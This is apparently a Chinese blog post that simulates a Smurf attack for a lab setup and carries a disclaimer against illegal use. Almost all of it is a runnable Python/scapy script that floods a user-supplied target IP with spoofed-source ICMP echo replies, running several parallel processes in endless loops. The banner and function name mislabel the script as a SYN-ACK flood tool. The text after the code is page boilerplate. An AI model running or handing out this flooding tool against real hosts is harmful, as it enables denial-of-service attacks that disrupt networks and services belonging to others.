【Smurf攻击】不要参与违法犯罪行为,仅供交流

# 文档上摘抄,须解释拓扑无法做到高数量的主机在局域网内,所以跳过攻击者在局域网内广播ICMP请求包的过程,直接模拟其他主机被误导后对样机发送多数量的ICMP响应报文
#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# SYN-ACK Flood Tool Python

from multiprocessing import Process
from scapy.all import *
import os
import sys
import random


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def SYN_ACK_Flood(dstIP, counter):
    total = 0
    print("Packets are sending ...")
    for x in range(0, counter):
        # 构建IP数据包,指定目标IP地址
        ip_packet = IP(dst=dstIP)
        ip_packet.src = randomIP()

        # 构建ICMP响应数据包
        icmp_response = ICMP(type=0)  # 这里使用type=0表示ICMP Echo Reply

        # 合并IP数据包和ICMP响应数据包
        response_packet = ip_packet / icmp_response

        # 发送响应数据包
        send(response_packet, verbose=0)
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
    os.system("clear")
    print("#############################")
    print("#    github.com/Zhoushukang   #")
    print("#############################")
    print("# Welcome to SYN-ACK Flood Tool #")
    print("#############################")

    dstIP = input("\nTarget IP : ")
    # dstPort = input("Target Port : ")

    return dstIP


def attack(dstIP, counter):
    while True:
        SYN_ACK_Flood(dstIP, int(counter))


if __name__ == '__main__':
    num = input("并行数:")
    counter = input("你需要发送多少包 : ")
    list = []
    dstIP = info()
    for i in range(int(num)):
        p = Process(target=attack, args=(dstIP, counter))
        list.append(p)
    for i in list:
        i.start()
    for i in list:
        i.join()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值